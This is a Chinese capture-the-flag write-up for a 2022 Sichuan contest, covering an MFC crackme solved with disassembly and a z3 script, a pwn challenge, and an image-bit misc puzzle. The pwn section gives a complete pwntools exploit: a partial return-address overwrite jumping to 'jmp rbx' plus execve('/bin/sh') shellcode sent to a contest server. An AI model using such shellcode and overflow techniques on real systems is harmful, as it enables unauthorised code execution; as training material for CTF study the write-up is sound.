目录

四川省网安技能大赛2022 个人输出复盘

[Reverse] AmazingMFC

一整场比赛Reverse就一个题,真是被看扁了啊.jpg

附件备份

经典的MFC逆向,一打开十个按钮,点一下会出base64信息提示是不是正确的flag所在位置。

理论上是要一个个解密,但是我第一次点就是正确的位置,什么是欧皇啊(后仰)

所以看了一眼base64解码结果是f14g here here直接跳过这一步。

定位函数,XSPY开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
mfc version:140, static linked?: true, debug?: false
CWnd::FromHandlePermanent = 0x0041D79C
CWnd = 0x0019FE1C
HWND: 0x000E0582
class:0019FE1C(CDialogEx,size=0xd0)
CDialogEx:CDialog:CWnd:CCmdTarget:CObject

[vtbl+0x00]GetRuntimeClass         = 0x0041A3FA(AmazingMFC.exe+ 0x01a3fa )
[vtbl+0x01]dtor                    = 0x004032C0(AmazingMFC.exe+ 0x0032c0 )
[vtbl+0x02]Serialize               = 0x00401FE0(AmazingMFC.exe+ 0x001fe0 )
[vtbl+0x03]OnCmdMsg                = 0x004136D2(AmazingMFC.exe+ 0x0136d2 )
[vtbl+0x04]OnFinalRelease          = 0x0041E602(AmazingMFC.exe+ 0x01e602 )
[vtbl+0x05]IsInvokeAllowed         = 0x00418E4A(AmazingMFC.exe+ 0x018e4a )
[vtbl+0x06]GetDispatchIID          = 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x07]GetTypeInfoCount        = 0x00407440(AmazingMFC.exe+ 0x007440 )
[vtbl+0x08]GetTypeLibCache         = 0x00407440(AmazingMFC.exe+ 0x007440 )
[vtbl+0x09]GetTypeLib              = 0x00418E42(AmazingMFC.exe+ 0x018e42 )
[vtbl+0x0A]GetMessageMap           = 0x00403310(AmazingMFC.exe+ 0x003310 )
[vtbl+0x0B]GetCommandMap           = 0x00418E18(AmazingMFC.exe+ 0x018e18 )
[vtbl+0x0C]GetDispatchMap          = 0x00418E24(AmazingMFC.exe+ 0x018e24 )
[vtbl+0x0D]GetConnectionMap        = 0x00418E1E(AmazingMFC.exe+ 0x018e1e )
[vtbl+0x0E]GetInterfaceMap         = 0x0041D9AD(AmazingMFC.exe+ 0x01d9ad )
[vtbl+0x0F]GetEventSinkMap         = 0x00418E2A(AmazingMFC.exe+ 0x018e2a )
[vtbl+0x10]OnCreateAggregates      = 0x00407F24(AmazingMFC.exe+ 0x007f24 )
[vtbl+0x11]GetInterfaceHook        = 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x12]GetExtraConnectionPoints= 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x13]GetConnectionHook       = 0x00408452(AmazingMFC.exe+ 0x008452 )

message map=0x0059DE20(AmazingMFC.exe+ 0x19de20 )
msg map entries at 0x0059DE28(AmazingMFC.exe+ 0x19de28 )
OnMsg:WM_SYSCOMMAND(0112),func= 0x00403430(AmazingMFC.exe+ 0x003430 )
OnMsg:WM_PAINT(000f),func= 0x004034E0(AmazingMFC.exe+ 0x0034e0 )
OnMsg:WM_QUERYDRAGICON(0037),func= 0x00403600(AmazingMFC.exe+ 0x003600 )
OnCommand: notifycode=0000 id=03e8,func= 0x00403620(AmazingMFC.exe+ 0x003620 )
OnCommand: notifycode=0000 id=03ea,func= 0x00403700(AmazingMFC.exe+ 0x003700 )
OnCommand: notifycode=0000 id=03eb,func= 0x004037E0(AmazingMFC.exe+ 0x0037e0 )
OnCommand: notifycode=0000 id=03f0,func= 0x004038C0(AmazingMFC.exe+ 0x0038c0 )
OnCommand: notifycode=0000 id=03f4,func= 0x004039A0(AmazingMFC.exe+ 0x0039a0 )
OnCommand: notifycode=0000 id=03ee,func= 0x00403A80(AmazingMFC.exe+ 0x003a80 )
OnCommand: notifycode=0000 id=03ef,func= 0x00403B60(AmazingMFC.exe+ 0x003b60 )
OnCommand: notifycode=0000 id=03ec,func= 0x00403C40(AmazingMFC.exe+ 0x003c40 )
OnCommand: notifycode=0000 id=03ed,func= 0x00403E80(AmazingMFC.exe+ 0x003e80 ) //flag位置
OnCommand: notifycode=0000 id=03f6,func= 0x00404060(AmazingMFC.exe+ 0x004060 )

查一下对应按钮的id是03ed,对应的handle函数在0x403E80

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __thiscall sub_403E80(CWnd *this)
{
  CWnd *DlgItem; // eax
  int v2; // eax
  int v3; // ecx
  const CHAR *v4; // eax
  const CHAR *v5; // eax
  int v7; // [esp+Ch] [ebp-118h]
  int v8; // [esp+10h] [ebp-114h]
  char v10[208]; // [esp+18h] [ebp-10Ch] BYREF
  char v11[8]; // [esp+E8h] [ebp-3Ch] BYREF
  int v12; // [esp+F0h] [ebp-34h] BYREF
  uint8_t BeingDebugged; // [esp+F7h] [ebp-2Dh]
  char Source[28]; // [esp+F8h] [ebp-2Ch] BYREF
  int v15; // [esp+120h] [ebp-4h]

  DlgItem = CWnd::GetDlgItem(this, -1);
  CWnd::SetWindowTextA(DlgItem, "RjE0ZyBoZXJlIGhlcmU=");
  strcpy(Source, "CFTDSA|6470*\"c*a6eaa>2fz");
  sub_401C40(0xD8u);
  sub_4045A0(0);
  v15 = 0;
  CDialog::DoModal((CDialog *)v10);
  sub_404300(v11);
  v8 = std::_Ptr_base<_EXCEPTION_RECORD const>::get((char *)this + 208); //这里是check对话框传入的8位数
  v7 = sub_403D20(v8);
  BeingDebugged = 0;
  BeingDebugged = NtCurrentPeb()->BeingDebugged;
  if ( v7 != -239077030 || BeingDebugged )
  {
    v5 = (const CHAR *)std::_Ptr_base<_EXCEPTION_RECORD const>::get((char *)this + 208);
    CWnd::MessageBoxA(this, v5, "Oops", 0);
  }
  else
  {
    v2 = std::_Ptr_base<_EXCEPTION_RECORD const>::get((char *)this + 208);
    *((_DWORD *)this + 53) = sub_548134(v3, v2);
    sub_401C40(4u);
    sub_401FF0(&v12);
    LOBYTE(v15) = 1;
    sub_403E30(Source);
    sub_402E40((int)&v12, Source, *((_DWORD *)this + 53));
    v4 = (const CHAR *)std::_Ptr_base<_EXCEPTION_RECORD const>::get(&v12);
    CWnd::MessageBoxA(this, v4, "Oops", 0);
    LOBYTE(v15) = 0;
    sub_4030C0(&v12);
  }
  v15 = -1;
  return sub_404660();
}

点了按钮之后是一个对话框,提示输入8 digits然后有一个check按钮,还是XSPY看一下信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mfc version:140, static linked?: true, debug?: false
CWnd::FromHandlePermanent = 0x0041D79C
CWnd = 0x0019F4D4
HWND: 0x001B0624
class:0019F4D4(Check,size=0xd8)
Check:CDialogEx:CDialog:CWnd:CCmdTarget:CObject

[vtbl+0x00]GetRuntimeClass         = 0x00404590(AmazingMFC.exe+ 0x004590 )
[vtbl+0x01]dtor                    = 0x00404610(AmazingMFC.exe+ 0x004610 )
[vtbl+0x02]Serialize               = 0x00401FE0(AmazingMFC.exe+ 0x001fe0 )
[vtbl+0x03]OnCmdMsg                = 0x004136D2(AmazingMFC.exe+ 0x0136d2 )
[vtbl+0x04]OnFinalRelease          = 0x0041E602(AmazingMFC.exe+ 0x01e602 )
[vtbl+0x05]IsInvokeAllowed         = 0x00418E4A(AmazingMFC.exe+ 0x018e4a )
[vtbl+0x06]GetDispatchIID          = 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x07]GetTypeInfoCount        = 0x00407440(AmazingMFC.exe+ 0x007440 )
[vtbl+0x08]GetTypeLibCache         = 0x00407440(AmazingMFC.exe+ 0x007440 )
[vtbl+0x09]GetTypeLib              = 0x00418E42(AmazingMFC.exe+ 0x018e42 )
[vtbl+0x0A]GetMessageMap           = 0x00404690(AmazingMFC.exe+ 0x004690 )
[vtbl+0x0B]GetCommandMap           = 0x00418E18(AmazingMFC.exe+ 0x018e18 )
[vtbl+0x0C]GetDispatchMap          = 0x00418E24(AmazingMFC.exe+ 0x018e24 )
[vtbl+0x0D]GetConnectionMap        = 0x00418E1E(AmazingMFC.exe+ 0x018e1e )
[vtbl+0x0E]GetInterfaceMap         = 0x0041D9AD(AmazingMFC.exe+ 0x01d9ad )
[vtbl+0x0F]GetEventSinkMap         = 0x00418E2A(AmazingMFC.exe+ 0x018e2a )
[vtbl+0x10]OnCreateAggregates      = 0x00407F24(AmazingMFC.exe+ 0x007f24 )
[vtbl+0x11]GetInterfaceHook        = 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x12]GetExtraConnectionPoints= 0x00408452(AmazingMFC.exe+ 0x008452 )
[vtbl+0x13]GetConnectionHook       = 0x00408452(AmazingMFC.exe+ 0x008452 )

message map=0x0059E2B8(AmazingMFC.exe+ 0x19e2b8 )
msg map entries at 0x0059E2C0(AmazingMFC.exe+ 0x19e2c0 )
OnCommand: notifycode=0000 id=03e8,func= 0x004046B0(AmazingMFC.exe+ 0x0046b0 ) //Check位置

按下check之后的handle函数在0x4046B0,看一下是这个样子

1
2
3
4
5
void __thiscall sub_4046B0(CDialog *this)
{
  CWnd::GetDlgItemTextA(1001, (int)this + 208);
  CDialog::EndDialog(this, 0);
}

看出是把输入的东西传入this+208处。由于是在同一个对象内的数据,在sub_403E80处找一下对this+208位置参数的引用,可以发现核心代码在sub_403D20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.text:00403D20 sub_403D20      proc near               ; CODE XREF: fl4g_is_here+BE↓p
.text:00403D20
.text:00403D20 var_18          = dword ptr -18h
.text:00403D20
.text:00403D20                 push    ebp
.text:00403D21                 mov     ebp, esp
.text:00403D23                 sub     esp, 0Ch
.text:00403D26                 push    ebx
.text:00403D27                 push    esi
.text:00403D28                 push    edi
.text:00403D29                 call    loc_403D2F
.text:00403D29 ; ---------------------------------------------------------------------------
.text:00403D2E                 db 84h
.text:00403D2F ; ---------------------------------------------------------------------------
.text:00403D2F
.text:00403D2F loc_403D2F:                             ; CODE XREF: sub_403D20+9↑j
.text:00403D2F                 db      36h
.text:00403D2F                 add     [esp+18h+var_18], 8
.text:00403D34                 retn
.text:00403D34 sub_403D20      endp ; sp-analysis failed
.text:00403D34
.text:00403D35
.text:00403D35 ; =============== S U B R O U T I N E =======================================
.text:00403D35
.text:00403D35
.text:00403D35 ; int __usercall sub_403D35@<eax>(int _EBP@<ebp>)
.text:00403D35 sub_403D35      proc near
.text:00403D35                 repne mov dword ptr [ebp-4], 2537h

反编译失败了(这里0x403D35是我自己按的创建函数,其实没有识别出来)

看到有一个奇怪的call,call里是一个把栈上的什么东西+8的操作,结合下面的东西猜一下被修改的是栈上保存的 retaddr 返回地址,+8之后在retn时直接跳转到call处地址加8字节的位置 也就是0x403D35处继续执行。

F5 一下大概是下面这个逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __cdecl sub_403D20(unsigned __int8 *a1)
{
  int v2; // [esp+10h] [ebp-8h]
  int i; // [esp+14h] [ebp-4h]

  for ( i = 0x2537; ; i = v2 + 33 * i )
  {
    v2 = *a1++;
    if ( !v2 )
      break;
  }
  return i;
}

写z3解一下。密文在前面的函数里。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from z3 import *

X = [ BitVec("x%s" %i, 32) for i in range(8)]
S = Solver()
for i in range(8):
   S.add(X[i] >= ord('0'))
   S.add(X[i] <= ord('9'))

v3 = 0x2537
for i in range(8):
   v3 = (v3*33 + X[i]) & 0xFFFFFFFF
S.add(v3 == 0xF1BFF95A )

print(S.check())
print(S.model())

不觉得很酷吗,这么短的脚本我写挂了3遍

得到想让我们输入的8位数字,直接在程序里输入得到flag。

[Pwn] ezpwn

其实根本没有想过我能在正式比赛里真的写出pwn题,呜呜呜呜呜呜呜呜呜呜呜呜。

附件备份

1
2
3
4
5
6
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD v4[18]; // [rsp+20h] [rbp-110h] BYREF
  __int64 v5; // [rsp+68h] [rbp-C8h]
  char v6[176]; // [rsp+70h] [rbp-C0h] BYREF
  _DWORD v7[2]; // [rsp+120h] [rbp-10h] BYREF
  const char *v8; // [rsp+128h] [rbp-8h]

  strcpy((char *)v4, "U2FsdGVkX18KkUGt505/bwBwg2VoFZCtD3dq2ZpUGbZ48Xkw3E/6Z7WuwE7yZL2G");
  BYTE1(v4[16]) = 0;
  HIWORD(v4[16]) = 0;
  v4[17] = 0;
  v5 = 0LL;
  memset(v6, 0, sizeof(v6));
  sub_81A(v7, a2, v6);
  fprintf(stderr, "%s\n", "Wow!");
  fprintf(stderr, "%s\n", "Do u know what's is it?");
  sub_885();
  v7[1] = 1;
  v8 = (const char *)sub_8D8(v4);
  fprintf(stderr, "%s\n", v8);
  return 0LL;
}
1
2
3
4
5
6
7
8
9
ssize_t sub_885()
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  int v2; // [rsp+2Ch] [rbp-4h]

  memset(buf, 0, sizeof(buf));
  v2 = 1;
  return read(0, buf, 0x39uLL);
}

简单逻辑,输入一个字符串。这里看了一下栈上的空间,其实有栈溢出但是只能覆盖到返回地址的最后一个字节。

有PIE,没有NX,有RWX段,应该是一个ret2shellcode。

其实这里main里的ida F5漏了一个地方:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
.text:0000000000000B29                 call    sub_885
.text:0000000000000B2E                 mov     [rbp+var_C], 1
.text:0000000000000B35                 cmp     [rbp+var_C], 0
.text:0000000000000B39                 jz      short loc_B50
.text:0000000000000B3B                 lea     rax, [rbp+var_110]
.text:0000000000000B42                 mov     rdi, rax
.text:0000000000000B45                 call    sub_8D8
.text:0000000000000B4A                 mov     [rbp+var_8], rax
.text:0000000000000B4E                 jmp     short loc_B52
.text:0000000000000B50 ; ---------------------------------------------------------------------------
.text:0000000000000B50
.text:0000000000000B50 loc_B50:                                ; CODE XREF: main+137↑j
.text:0000000000000B50                 jmp     rbx
.text:0000000000000B52 ; ---------------------------------------------------------------------------
.text:0000000000000B52
.text:0000000000000B52 loc_B52:                                ; CODE XREF: main+14C↑j
.text:0000000000000B52                 mov     rax, cs:stderr

这个位置有一个jmp rbx,但是在正常的程序执行里是无法到达的。

正常的返回地址是0x????????B2E,由于PIE保护不会将最后两个字节随机化,所以可以直接利用栈溢出把返回地址的最后一个字节覆盖成0x50达到执行到jmp rbx的目的。

本来以为要先leak栈地址然后想办法控制rbx寄存器使其指向栈上写的shellcode,但是实际实验的时候发现这个题里面rbx已经帮我们设置好了。 直接往栈上写shellcode然后溢出即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
extralen = 0x39 - len(payload)
payload += b"P" * extralen #P == 0x50
print(payload)
p = remote("tcp.cloud.dasctf.com", 22873)
p.recvuntil(b"it?\n")
p.sendline(payload)
p.interactive()

紧张刺激地在比赛结束前3min打通了,shellcode换了三四个,鉴定为急了。

[Misc] 钢琴块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from PIL import Image
import os
i = 1
while i <= 160:
	x = 0
	for j in range(8):
		img = Image.open(f"game/{i+j}.png").convert("L")
		if img.getpixel((0, 0)) == 255:
			x = (x << 1) | 1
		else:
			x = (x << 1)
	print(chr(x), end="")
	i += 8

i = 1
while i <= 160:
	x = 0
	for j in range(8):
		img = Image.open(f"game/{i+j}.png").convert("L")
		stt = os.stat(f"game/{i+j}.png")
		q = stt.st_size
		if img.getpixel((0, 0)) == 255:
			if q != 336:
				x = (x << 1) | 1
			else:
				x = (x << 1)
		else:
			if q == 150:
				x = (x << 1) | 1
			else:
				x = (x << 1)
	print(chr(x), end="")
	i += 8

烂活题,没有复盘价值,就这样。